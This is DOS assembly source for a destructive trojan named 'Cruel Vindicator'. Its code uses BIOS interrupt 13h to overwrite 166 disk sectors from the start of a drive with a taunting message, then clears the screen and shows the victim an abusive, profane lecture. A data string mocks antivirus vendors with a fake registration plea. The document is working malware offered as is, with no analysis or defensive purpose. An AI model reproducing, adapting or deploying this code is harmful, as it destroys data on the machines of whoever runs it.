; Program Cruel Vindicator
; Input	  none
; Output  Destruction

	  DOSSEG
	  .MODEL  small

	  .STACK  100h

DATA	  SEGMENT DATA
          FUCKHIM  db           'Uh oh, looks like you''ve been infected.  Who knows, you may be able to repair the damage...  Nah!  '
          Lecture1 db           'You are a totally infantile, small-minded, anal-retentive prick, suffering from chronic penis envy for wanting viruses to infect other systems.  I am glad we could demonstrate the virus concept on your system.  '
          Lecture2 db           'If you have found this program to be useful, please send $10 to MacCafee Assoc. for its registration.  New versions will be available for a discount to registered users.'
DATA      ENDS

CODE      SEGMENT CODE
          Main    PROC
start:	  mov	  ax,@DATA               ;Initialize data segment
          mov     ds,ax
	  mov	  es,ax                  ;Point segments to addresses
          lea     bx, FUCKHIM            ;Get address of FUCKHIM
          mov     ah,03h                 ;Write sector from buffer
          mov     al,166d                ;Number of sectors to write
          mov     ch,00                  ;Track(use high bits on cl for fixed disk)
          mov     cl,01                  ;Sector to initiate write
          mov     dh,00                  ;Head to write with
          mov     dl,02                  ;Drive to write to
          int     13h                    ;Access Disk

          mov     ah,06                  ;Write to video
          mov     al,25d                 ;Number of lines to scroll
          mov     bh,03                  ;Attribute of scroll(color)
          mov     ch,0                   ;Window coords
          mov     cl,0
          mov     dh,25d
          mov     dl,79d
          int     10h                    ;Scroll up

          mov     ah,13h
          mov     al,0
          mov     bh,0
          mov     dh,0ah
          mov     dl,0
          mov     cx,380d
          lea     bp,Lecture1
          mov     bl,2
          int     10h
          mov     ax,4c00h
          int     21h
          Main    ENDP
CODE      ENDS